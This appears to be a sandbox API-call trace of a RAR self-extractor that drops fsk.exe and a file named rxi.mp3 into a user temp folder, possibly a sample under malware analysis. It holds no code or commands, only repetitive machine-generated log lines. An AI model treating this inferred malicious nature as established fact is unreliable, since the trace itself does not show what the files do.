GetTickCount () returned 0x1f9c8 [0067.967] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.967] WriteFile (in: hFile=0x138, lpBuffer=0x2926b0*, nNumberOfBytesToWrite=0xa100, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x2926b0*, lpNumberOfBytesWritten=0x171590*=0xa100, lpOverlapped=0x0) returned 1 [0067.968] GetTickCount () returned 0x1f9c8 [0067.968] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.968] WriteFile (in: hFile=0x138, lpBuffer=0x28bdb0*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x28bdb0*, lpNumberOfBytesWritten=0x171590*=0x3800, lpOverlapped=0x0) returned 1 [0067.968] GetTickCount () returned 0x1f9c8 [0067.968] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.968] WriteFile (in: hFile=0x138, lpBuffer=0x2ef3820*, nNumberOfBytesToWrite=0x8600, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2ef3820*, lpNumberOfBytesWritten=0x171564*=0x8600, lpOverlapped=0x0) returned 1 [0067.969] GetTickCount () returned 0x1f9c8 [0067.969] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.969] WriteFile (in: hFile=0x138, lpBuffer=0x288eb0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x288eb0*, lpNumberOfBytesWritten=0x171590*=0x900, lpOverlapped=0x0) returned 1 [0067.969] GetTickCount () returned 0x1f9c8 [0067.969] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.969] WriteFile (in: hFile=0x138, lpBuffer=0x2efc720*, nNumberOfBytesToWrite=0x14800, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2efc720*, lpNumberOfBytesWritten=0x171564*=0x14800, lpOverlapped=0x0) returned 1 [0067.970] GetTickCount () returned 0x1f9c8 [0067.970] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.970] WriteFile (in: hFile=0x138, lpBuffer=0x28fcb0*, nNumberOfBytesToWrite=0x7700, lpNumberOfBytesWritten=0x171590, lpOverlapped=0x0 | out: lpBuffer=0x28fcb0*, lpNumberOfBytesWritten=0x171590*=0x7700, lpOverlapped=0x0) returned 1 [0067.971] GetTickCount () returned 0x1f9c8 [0067.971] PeekMessageW (in: lpMsg=0x171580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171580) returned 0 [0067.971] WriteFile (in: hFile=0x138, lpBuffer=0x2f18620*, nNumberOfBytesToWrite=0x1ca8, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2f18620*, lpNumberOfBytesWritten=0x171564*=0x1ca8, lpOverlapped=0x0) returned 1 [0067.971] GetTickCount () returned 0x1f9c8 [0067.971] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.971] SetFilePointer (in: hFile=0x1c, lDistanceToMove=855438, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd0d8e [0067.971] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.971] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.971] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.971] CloseHandle (hObject=0x138) returned 1 [0067.977] SetFileAttributesA (lpFileName="fsk.exe", dwFileAttributes=0x20) returned 1 [0067.977] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd0d8e [0067.977] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.978] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.978] OemToCharA (in: pSrc="rxi.mp3", pDst=0x179cc0 | out: pDst="rxi.mp3") returned 1 [0067.978] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="rxi.mp3", cchCount2=1) returned 1 [0067.978] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="rxi.mp3", cchCount2=6) returned 1 [0067.978] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="rxi.mp3", cchCount2=-1) returned 1 [0067.978] SetFilePointer (in: hFile=0x1c, lDistanceToMove=855482, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd0dba [0067.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="rxi.mp3") returned 8 [0067.978] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.978] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting rxi.mp3") returned 18 [0067.978] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting rxi.mp3") returned 1 [0067.978] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 1 [0067.978] GetMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1701d8) returned 1 [0067.978] TranslateMessage (lpMsg=0x1701d8) returned 0 [0067.978] DispatchMessageW (lpMsg=0x1701d8) returned 0x0 [0067.978] OemToCharBuffA (in: lpszSrc="r", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="r") returned 1 [0067.978] CharToOemBuffA (in: lpszSrc="R", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="R") returned 1 [0067.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="rxi.mp3") returned 8 [0067.978] FindFirstFileW (in: lpFileName="rxi.mp3", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.978] GetLastError () returned 0x2 [0067.978] GetFileAttributesA (lpFileName="rxi.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\rxi.mp3")) returned 0xffffffff [0067.978] CreateFileA (lpFileName="rxi.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\rxi.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.980] GetFileType (hFile=0x138) returned 0x1 [0067.980] SetFilePointer (in: hFile=0x138, lDistanceToMove=573, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x23d [0067.980] SetEndOfFile (hFile=0x138) returned 1 [0067.980] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.980] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1cf, lpOverlapped=0x0) returned 1 [0067.980] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.980] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.980] GetTickCount () returned 0x1f9d8 [0067.980] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.980] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.980] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.980] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.980] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.981] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.981] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.981] GetTickCount () returned 0x1f9d8 [0067.981] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.981] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.982] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.982] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.982] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.982] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.982] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.983] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.983] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.983] GetTickCount () returned 0x1f9d8 [0067.983] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.983] ReadFile (in: hFile=0x1c, lpBuffer=0x270457, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270457*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 